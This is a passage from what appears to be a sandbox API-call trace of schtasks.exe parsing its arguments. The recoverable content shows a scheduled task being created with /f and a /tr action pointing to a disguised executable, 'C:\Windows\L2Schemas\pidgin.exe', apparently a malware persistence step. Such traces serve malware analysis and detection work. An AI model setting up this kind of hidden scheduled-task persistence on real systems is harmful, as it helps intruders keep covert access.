_Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.036] lstrlenW (lpString="mo") returned 2 [0111.036] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.036] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x4, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|?|") returned 3 [0111.036] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|mo|") returned 4 [0111.036] lstrlenW (lpString="|?|") returned 3 [0111.036] lstrlenW (lpString="|mo|") returned 4 [0111.036] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.036] lstrlenW (lpString="s") returned 1 [0111.036] lstrlenW (lpString="s") returned 1 [0111.036] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.036] lstrlenW (lpString="mo") returned 2 [0111.036] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.036] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x4, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|s|") returned 3 [0111.036] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|mo|") returned 4 [0111.036] lstrlenW (lpString="|s|") returned 3 [0111.036] lstrlenW (lpString="|mo|") returned 4 [0111.036] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.036] lstrlenW (lpString="u") returned 1 [0111.036] lstrlenW (lpString="u") returned 1 [0111.036] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.037] lstrlenW (lpString="mo") returned 2 [0111.037] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.037] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x4, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|u|") returned 3 [0111.037] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|mo|") returned 4 [0111.037] lstrlenW (lpString="|u|") returned 3 [0111.037] lstrlenW (lpString="|mo|") returned 4 [0111.037] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.037] lstrlenW (lpString="p") returned 1 [0111.037] lstrlenW (lpString="p") returned 1 [0111.037] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.037] lstrlenW (lpString="mo") returned 2 [0111.037] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.037] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x4, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|p|") returned 3 [0111.037] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|mo|") returned 4 [0111.037] lstrlenW (lpString="|p|") returned 3 [0111.037] lstrlenW (lpString="|mo|") returned 4 [0111.037] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.037] lstrlenW (lpString="ru") returned 2 [0111.037] lstrlenW (lpString="ru") returned 2 [0111.037] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.037] lstrlenW (lpString="mo") returned 2 [0111.037] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.037] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|ru|") returned 4 [0111.037] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|mo|") returned 4 [0111.037] lstrlenW (lpString="|ru|") returned 4 [0111.037] lstrlenW (lpString="|mo|") returned 4 [0111.038] StrStrIW (lpFirst="|ru|", lpSrch="|mo|") returned 0x0 [0111.038] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.038] lstrlenW (lpString="rp") returned 2 [0111.038] lstrlenW (lpString="rp") returned 2 [0111.038] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.038] lstrlenW (lpString="mo") returned 2 [0111.038] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.038] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|rp|") returned 4 [0111.038] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|mo|") returned 4 [0111.038] lstrlenW (lpString="|rp|") returned 4 [0111.038] lstrlenW (lpString="|mo|") returned 4 [0111.038] StrStrIW (lpFirst="|rp|", lpSrch="|mo|") returned 0x0 [0111.038] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.038] lstrlenW (lpString="sc") returned 2 [0111.038] lstrlenW (lpString="sc") returned 2 [0111.038] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.038] lstrlenW (lpString="mo") returned 2 [0111.038] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.038] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|sc|") returned 4 [0111.038] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|mo|") returned 4 [0111.038] lstrlenW (lpString="|sc|") returned 4 [0111.038] lstrlenW (lpString="|mo|") returned 4 [0111.038] StrStrIW (lpFirst="|sc|", lpSrch="|mo|") returned 0x0 [0111.038] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.038] lstrlenW (lpString="mo") returned 2 [0111.038] lstrlenW (lpString="mo") returned 2 [0111.038] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.039] lstrlenW (lpString="mo") returned 2 [0111.039] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.039] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|mo|") returned 4 [0111.039] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|mo|") returned 4 [0111.039] lstrlenW (lpString="|mo|") returned 4 [0111.039] lstrlenW (lpString="|mo|") returned 4 [0111.039] StrStrIW (lpFirst="|mo|", lpSrch="|mo|") returned="|mo|" [0111.039] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.039] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.039] lstrlenW (lpString="9") returned 1 [0111.039] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.039] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.039] lstrlenW (lpString="9") returned 1 [0111.039] StrChrIW (lpStart="9", wMatch=0x3a) returned 0x0 [0111.039] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.039] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.039] _memicmp (_Buf1=0x26b6b90ab10, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.039] lstrlenW (lpString="9") returned 1 [0111.039] lstrlenW (lpString="9") returned 1 [0111.039] lstrlenW (lpString=" \x09") returned 2 [0111.039] StrChrW (lpStart=" \x09", wMatch=0x39) returned 0x0 [0111.039] StrChrW (lpStart=" \x09", wMatch=0x39) returned 0x0 [0111.039] GetLastError () returned 0x0 [0111.039] lstrlenW (lpString="9") returned 1 [0111.039] lstrlenW (lpString="9") returned 1 [0111.039] GetProcessHeap () returned 0x26b6b900000 [0111.039] RtlAllocateHeap (HeapHandle=0x26b6b900000, Flags=0xc, Size=0x4) returned 0x26b6b904e60 [0111.039] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.040] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.040] lstrlenW (lpString="/tr") returned 3 [0111.040] lstrlenW (lpString="-/") returned 2 [0111.040] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0111.040] lstrlenW (lpString="create") returned 6 [0111.040] lstrlenW (lpString="create") returned 6 [0111.040] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.040] lstrlenW (lpString="tr") returned 2 [0111.040] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.040] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x9, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|create|") returned 8 [0111.040] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|tr|") returned 4 [0111.040] lstrlenW (lpString="|create|") returned 8 [0111.040] lstrlenW (lpString="|tr|") returned 4 [0111.040] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0111.040] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.040] lstrlenW (lpString="?") returned 1 [0111.040] lstrlenW (lpString="?") returned 1 [0111.040] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.040] lstrlenW (lpString="tr") returned 2 [0111.040] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.040] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x4, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|?|") returned 3 [0111.040] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|tr|") returned 4 [0111.040] lstrlenW (lpString="|?|") returned 3 [0111.040] lstrlenW (lpString="|tr|") returned 4 [0111.040] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.040] lstrlenW (lpString="s") returned 1 [0111.041] lstrlenW (lpString="s") returned 1 [0111.041] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.041] lstrlenW (lpString="tr") returned 2 [0111.041] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.041] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x4, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|s|") returned 3 [0111.041] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|tr|") returned 4 [0111.041] lstrlenW (lpString="|s|") returned 3 [0111.041] lstrlenW (lpString="|tr|") returned 4 [0111.041] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.041] lstrlenW (lpString="u") returned 1 [0111.041] lstrlenW (lpString="u") returned 1 [0111.041] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.041] lstrlenW (lpString="tr") returned 2 [0111.041] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.041] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x4, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|u|") returned 3 [0111.041] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|tr|") returned 4 [0111.041] lstrlenW (lpString="|u|") returned 3 [0111.041] lstrlenW (lpString="|tr|") returned 4 [0111.041] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.041] lstrlenW (lpString="p") returned 1 [0111.041] lstrlenW (lpString="p") returned 1 [0111.041] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.041] lstrlenW (lpString="tr") returned 2 [0111.041] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.041] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x4, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|p|") returned 3 [0111.041] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|tr|") returned 4 [0111.041] lstrlenW (lpString="|p|") returned 3 [0111.041] lstrlenW (lpString="|tr|") returned 4 [0111.042] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.042] lstrlenW (lpString="ru") returned 2 [0111.042] lstrlenW (lpString="ru") returned 2 [0111.042] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.042] lstrlenW (lpString="tr") returned 2 [0111.042] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.042] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|ru|") returned 4 [0111.042] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|tr|") returned 4 [0111.042] lstrlenW (lpString="|ru|") returned 4 [0111.042] lstrlenW (lpString="|tr|") returned 4 [0111.042] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0111.042] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.042] lstrlenW (lpString="rp") returned 2 [0111.042] lstrlenW (lpString="rp") returned 2 [0111.042] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.042] lstrlenW (lpString="tr") returned 2 [0111.042] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.042] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|rp|") returned 4 [0111.042] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|tr|") returned 4 [0111.042] lstrlenW (lpString="|rp|") returned 4 [0111.042] lstrlenW (lpString="|tr|") returned 4 [0111.042] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0111.042] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.042] lstrlenW (lpString="sc") returned 2 [0111.042] lstrlenW (lpString="sc") returned 2 [0111.042] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.042] lstrlenW (lpString="tr") returned 2 [0111.042] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.043] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|sc|") returned 4 [0111.043] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|tr|") returned 4 [0111.043] lstrlenW (lpString="|sc|") returned 4 [0111.043] lstrlenW (lpString="|tr|") returned 4 [0111.043] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0111.043] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.043] lstrlenW (lpString="mo") returned 2 [0111.043] lstrlenW (lpString="mo") returned 2 [0111.043] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.043] lstrlenW (lpString="tr") returned 2 [0111.043] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.043] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|mo|") returned 4 [0111.043] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|tr|") returned 4 [0111.045] lstrlenW (lpString="|mo|") returned 4 [0111.045] lstrlenW (lpString="|tr|") returned 4 [0111.045] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0111.045] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.045] lstrlenW (lpString="d") returned 1 [0111.045] lstrlenW (lpString="d") returned 1 [0111.045] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.045] lstrlenW (lpString="tr") returned 2 [0111.045] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.045] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x4, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|d|") returned 3 [0111.045] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|tr|") returned 4 [0111.045] lstrlenW (lpString="|d|") returned 3 [0111.045] lstrlenW (lpString="|tr|") returned 4 [0111.045] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.045] lstrlenW (lpString="m") returned 1 [0111.045] lstrlenW (lpString="m") returned 1 [0111.046] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.046] lstrlenW (lpString="tr") returned 2 [0111.046] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.046] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x4, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|m|") returned 3 [0111.046] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|tr|") returned 4 [0111.046] lstrlenW (lpString="|m|") returned 3 [0111.046] lstrlenW (lpString="|tr|") returned 4 [0111.046] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.046] lstrlenW (lpString="i") returned 1 [0111.046] lstrlenW (lpString="i") returned 1 [0111.046] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.046] lstrlenW (lpString="tr") returned 2 [0111.046] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.046] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x4, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|i|") returned 3 [0111.046] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|tr|") returned 4 [0111.046] lstrlenW (lpString="|i|") returned 3 [0111.046] lstrlenW (lpString="|tr|") returned 4 [0111.046] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.046] lstrlenW (lpString="tn") returned 2 [0111.046] lstrlenW (lpString="tn") returned 2 [0111.046] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.046] lstrlenW (lpString="tr") returned 2 [0111.046] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.046] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|tn|") returned 4 [0111.046] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|tr|") returned 4 [0111.046] lstrlenW (lpString="|tn|") returned 4 [0111.046] lstrlenW (lpString="|tr|") returned 4 [0111.047] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0111.047] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.047] lstrlenW (lpString="tr") returned 2 [0111.047] lstrlenW (lpString="tr") returned 2 [0111.047] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.047] lstrlenW (lpString="tr") returned 2 [0111.047] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.047] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|tr|") returned 4 [0111.047] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|tr|") returned 4 [0111.047] lstrlenW (lpString="|tr|") returned 4 [0111.047] lstrlenW (lpString="|tr|") returned 4 [0111.047] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0111.047] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.047] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.047] lstrlenW (lpString="'C:\\Windows\\L2Schemas\\pidgin.exe'") returned 33 [0111.047] lstrlenW (lpString="-/") returned 2 [0111.048] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0111.048] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.048] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.048] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.048] lstrlenW (lpString="'C:\\Windows\\L2Schemas\\pidgin.exe'") returned 33 [0111.048] StrChrIW (lpStart="'C:\\Windows\\L2Schemas\\pidgin.exe'", wMatch=0x3a) returned=":\\Windows\\L2Schemas\\pidgin.exe'" [0111.048] lstrlenW (lpString="'C:\\Windows\\L2Schemas\\pidgin.exe'") returned 33 [0111.048] _memicmp (_Buf1=0x26b6b904780, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.048] _memicmp (_Buf1=0x26b6b90aa90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.048] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.048] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.048] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.048] lstrlenW (lpString="'C") returned 2 [0111.048] lstrlenW (lpString="-/") returned 2 [0111.048] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0111.048] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.048] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.048] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.048] _memicmp (_Buf1=0x26b6b90ab10, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.048] lstrlenW (lpString="'C:\\Windows\\L2Schemas\\pidgin.exe'") returned 33 [0111.048] GetProcessHeap () returned 0x26b6b900000 [0111.048] HeapValidate (hHeap=0x26b6b900000, dwFlags=0x0, lpMem=0x26b6b90ab50) returned 1 [0111.048] GetProcessHeap () returned 0x26b6b900000 [0111.048] RtlReAllocateHeap (Heap=0x26b6b900000, Flags=0xc, Ptr=0x26b6b90ab50, Size=0x44) returned 0x26b6b90be70 [0111.048] lstrlenW (lpString="'C:\\Windows\\L2Schemas\\pidgin.exe'") returned 33 [0111.048] lstrlenW (lpString=" \x09") returned 2 [0111.048] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0111.048] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0111.048] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0111.048] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0111.048] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0111.048] StrChrW (lpStart=" \x09", wMatch=0x57) returned 0x0 [0111.048] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0111.048] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0111.048] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0111.049] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0111.049] StrChrW (lpStart=" \x09", wMatch=0x77) returned 0x0 [0111.049] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0111.049] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0111.049] StrChrW (lpStart=" \x09", wMatch=0x4c) returned 0x0 [0111.049] StrChrW (lpStart=" \x09", wMatch=0x32) returned 0x0 [0111.049] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0111.049] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0111.049] StrChrW (lpStart=" \x09", wMatch=0x68) returned 0x0 [0111.049] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0111.049] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0111.049] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0111.049] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0111.049] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0111.049] StrChrW (lpStart=" \x09", wMatch=0x70) returned 0x0 [0111.049] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0111.049] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0111.049] StrChrW (lpStart=" \x09", wMatch=0x67) returned 0x0 [0111.049] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0111.049] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0111.049] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0111.049] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0111.049] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0111.049] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0111.049] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0111.049] GetLastError () returned 0x0 [0111.049] lstrlenW (lpString="'C:\\Windows\\L2Schemas\\pidgin.exe'") returned 33 [0111.049] lstrlenW (lpString="'C:\\Windows\\L2Schemas\\pidgin.exe'") returned 33 [0111.049] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.049] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.049] lstrlenW (lpString="/f") returned 2 [0111.049] lstrlenW (lpString="-/") returned 2 [0111.049] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0111.049] lstrlenW (lpString="create") returned 6 [0111.049] lstrlenW (lpString="create") returned 6 [0111.049] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.049] lstrlenW (lpString="f") returned 1 [0111.050] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.050] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x9, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|create|") returned 8 [0111.050] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|f|") returned 3 [0111.050] lstrlenW (lpString="|create|") returned 8 [0111.050] lstrlenW (lpString="|f|") returned 3 [0111.050] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0111.050] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.050] lstrlenW (lpString="?") returned 1 [0111.050] lstrlenW (lpString="?") returned 1 [0111.050] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.050] lstrlenW (lpString="f") returned 1 [0111.050] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.050] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x4, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|?|") returned 3 [0111.050] _vsnwprintf (in: _Buffer=0x26b6b904380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x908fddc0f8 | out: _Buffer="|f|") returned 3 [0111.050] lstrlenW (lpString="|?|") returned 3 [0111.050] lstrlenW (lpString="|f|") returned 3 [0111.050] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0111.050] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0111.050] lstrlenW (lpString="s") returned 1 [0111.050] lstrlenW (lpString="s") returned 1 [0111.050] _memicmp (_Buf1=0x26b6b904320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.050] lstrlenW (lpString="f") returned 1 [0111.050] _memicmp (_Buf1=0x26b6b904360, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.050] _vsnwprintf (in: _Buffer=0x26b6b904690, _BufferCount=0x4, _Format="|%s|", _ArgList=0x908fddc0f8 | out: 